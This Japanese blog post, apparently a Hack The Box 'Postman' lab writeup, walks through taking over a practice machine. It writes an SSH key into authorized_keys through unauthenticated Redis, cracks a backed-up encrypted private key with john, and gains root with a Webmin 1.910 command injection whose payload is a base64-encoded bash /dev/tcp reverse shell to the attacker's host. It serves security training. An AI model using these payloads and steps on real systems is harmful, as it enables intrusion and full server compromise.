4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: Postman

Last updated at Posted at 2025-09-23

概要

ポートスキャン

nmapスキャン

nmap -p- -T4 --min-rate=1000 -sC -sV 10.10.10.160
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 11:13 JST
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.36s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website

6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)

ターゲットのIPをhostsに登録

echo "10.10.10.160 postman.htb" | sudo tee -a /etc/hosts

Redisの脆弱性を利用してターゲットにログイン

port 6379 でredis 4.0.9が稼働しています
redisはデータをメモリ上に保存するインメモリのデータストアです

redis-cliを使ってポートにアクセスを試します
→ 応答がありました

redis-cli -h postman.htb -p 6379 PING
PONG

Redis 4.0~5.0には未認証のコマンド実行やファイル書き換えの脆弱性があるようで、redis-cliを使って認証無しでアクセスできました

redis-cli -h postman.htb
postman.htb:6379>

redis.confを利用してsshキーを書き換え

config get *でconfigの内容を閲覧できることを確認


postman.htb:6379> config get *
  1) "dbfilename"
  2) "authorized_keys"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "cluster-announce-ip"
  8) ""
  9) "unixsocket"

こちらの記事を参考にさせていただきredis.confの内容を理解します

項目 設定値 内容
dir /var/run/redis dbfilenameのファイルや、redisが使う一時ファイルなどを保存する領域
ファイル名でなくディレクトリ名
dbfilename ${REDISPORT}.rdb RDBのファイル名

RDBファイルとはRedisのある時点のデータをストレージに保存したスナップショット
そこでdirdbfilenameの設定を悪用し、スナップショットの保存先を/var/lib/redis/.ssh/authorised_keysに書き換えることで、作成したssh公開鍵をターゲットサーバーに登録しsshログインを試みます。

  • データを確認
postman.htb:6379> keys *
(empty array)
  • dirの値を確認
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis"
  • /var/lib/redis/.ssh/authorised_keysに書き換える
postman.htb:6379> config set dir /var/lib/redis/.ssh
OK
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
  • rsaキーペアを作成
cd ~/.ssh
ssh-keygen -t rsa
  • キーの内容をkey.txtに保存
    前後に他の文字列等があっても、キーとして認識されるように前後に改行を入れています
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo "\n\n") > key.txt
  • key.txtの内容をssh_keyというキー名でredisに保存
cat key.txt | redis-cli -h postman.htb -x set ssh_key
OK
  • dbfilename(rdbファイルの保存名)をauthorized.keysに変更
redis-cli -h postman.htb
postman.htb:6379> config set dbfilename authorized_keys
OK
  • データを保存
# 内容確認
postman.htb:6379> get ssh_key
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdVDmKjAaPZF/ym8ozKkimqYRod/oUUYYTw8bdkegZ/L8fbAc1uBo96dK5UE+IE5+ZdZLLehFkawD6Zlok24xzhnR1fBmO5KZzb3SAotXulHOCPQ0tr/0MMurAMKiIa5EBVDXDQ9P4Clo4hDc/y8t7EqsTX3gOQSKKZeq165TfbxEEnbbIeZv5AS3jODFyhZeOoLAk9gASrehs61aOQPeZci/2J+ryA3H9WKKv3duE9BrfE6kVQ3/HbzT8cZbvIYAAf5idR3HBUKr+1r0jBTgpqst7u8eAMU2sx9PI3BDd1OA7rFeHfCf4xLgChvKl10iekDUp/cYVSN7flEhQY1VJNyB5Fo7gYSfACKDeAGvTNLNvZekDIKbbKfAiNjG5gKQS7OshGLHTOm5omPyiHHma/Rp1/she6GwJX9HmNf9LKDCIegWmyzTtaE61C4zhWt9vQJuaWZXdm8IMsFfly4hhuHnIGObTlbgKNciIyX1rpwKbnH0Z5T3OaT+88SX8FAM= utah@LAPTOP-S869B18N\n\n\n\n"

# 保存
postman.htb:6379> save 
OK

authorized.keysの内容が上書きされたので秘密鍵を使ってsshアクセスできました

ssh -i ~/.ssh/id_rsa redis@postman.htb
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
<SNIP>
redis@Postman:~$ 

ラテラルムーブメント

ターゲット内を探索

/etc/passwdの確認
Mattユーザを発見

redis@Postman:/opt$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
Matt:x:1000:1000:,,,:/home/Matt:/bin/bas

ホームディレクトリにuser.txtを発見しましたが、権限が無く読み取れませんでした

redis@Postman:~$ ls /home/Matt
user.txt
redis@Postman:~$ cd /home/Matt
redis@Postman:/home/Matt$ cat user.txt
cat: user.txt: Permission denied

/optの下にid_rsa.bakを発見

ls -al /opt
total 12
drwxr-xr-x  2 root root 4096 Sep 11  2019 .
drwxr-xr-x 22 root root 4096 Sep 30  2020 ..
-rwxr-xr-x  1 Matt Matt 1743 Aug 26  2019 id_rsa.bak

ファイルの内容は暗号化されているようです

redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
<SNIP>

パスワードの解析

ローカルにファイルを移動しjohn を使って解析をこころみます
ssh2johnjohnに対応した形式に変換した後解析し、パスワードが判明

# SSH鍵のハッシュを抽出
ssh2john id_rsa > id_rsa_john

# johnで辞書攻撃
john id_rsa_john --wordlist=/usr/share/wordlists/rockyou.txt

# 結果を表示
john --show id_rsa_john

パスワードを使ってsshでアクセスすると拒否されますが、ターゲットサーバー内のredisユーザーでsuをつかってshellを起動できました

redis@Postman:/opt$ su Matt

ルート権限昇格

root権限で稼働しているプロセスの確認

結果よりwebminroot権限で稼働している

ps auxww | grep root
<SNIP>
root        725  0.0  3.1  95292 29380 ?        Ss   Sep22   0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
<SNIP>

webminとは
wikipediaより

Webmin(うぇぶみん)は、LinuxなどのUnix系オペレーティングシステム (OS) を設定できるウェブブラウザベースのツールである。 ユーザーやディスク使用上限、サービス、設定ファイル等といったOS内部設定の変更を多数行
え、ApacheやPHP、MySQLなどといった多くのオープンソースのアプリケーションの変更や制御を行える。

ブラウザを使って調査

nmapの結果よりwebminはTCPポート10000で稼働しているのが分かっています
ブラウザでhttps://postman.htb:10000/にアクセスしてみるとwebminのログイン画面が表示されました

ここもMattの認証情報を使ってログイン可能できました
スクリーンショット 2025-08-10 173235.jpg

Exploitの調査

searchsploitWebmin 1.910脆弱性を調査

searchsploit webmin
<SNIP>
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)        | linux/remote/46984.rb
<SNIP>

Exploit-46984が見つかりました
上記の内容によると、パッケージアップデートを開始するためのエンドポイント/package-updates/update.cgiにRCEの脆弱性があり、パラメータに含まれたOSコマンドが実行されてしまうようです

攻撃手順の検討

  1. 権限を持つユーザでログインしてsid を含むcookieを取得
  2. パッケージアップデートを開始するためのエンドポイント/package-updates/update.cgiにPOSTする。その際にパラメータにリバースシェルの実行コードを埋め込む
  3. ターゲットがアップデートを開始し、パラメータに含まれたコードが実行されリバースシェルが確立される

攻撃実行

ペイロード作成

パラメータとして埋め込むリバースシェル実行用のコードを作成しBase64エンコードします
エンコード後の文字列自体に+が入るとURLエンコードのスペースと認識されて正しく復号されない為、もしそうなったらコードに空白を入れて調整します

echo -n "bash -i >& /dev/tcp/10.10.16.2/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0NDQgMD4mMQ==
echo -n "bash   -i >& /dev/tcp/10.10.16.2/4444 0>&1" | base64
YmFzaCAgIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIvNDQ0NCAwPiYx

最終的なペイロード

$(echo+YmFzaCAgIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIvNDQ0NCAwPiYx|base64+-d|bash+-i)

リバースシェル取得手順

  1. Mattwebminにログイン

  2. Dashbord画面左のSystem>Software Package Updatesをクリック

  3. burpsuiteをONにしてから、Update Selected Packagesボタンクリックしてリクエストを取得する

  4. 元のパラメータをすべて削除してu=acl%2Fapt&u=の後に作成したペイロードを入れる
    スクリーンショット 2025-09-23 111003.jpg

  5. ncで待ち受ける

  6. burpsuiteの画面でリクエストをSendしてrootユーザのリバースシェル取得成功

nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.160] 50678
bash: cannot set terminal process group (725): Inappropriate ioctl for device
bash: no job control in this shell
root@Postman:/usr/share/webmin/package-updates/# id
id
uid=0(root) gid=0(root) groups=0(root)

まとめ

  • redisの脆弱性を利用してターゲットサーバーのauthorised_keysを書き換えてsshでログイン
  • サーバのssh秘密鍵を取得してパスワードを取得
  • webmin 1.910のRCE脆弱性を利用してroot権限のリバースシェル取得

以上で攻略できました

4
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?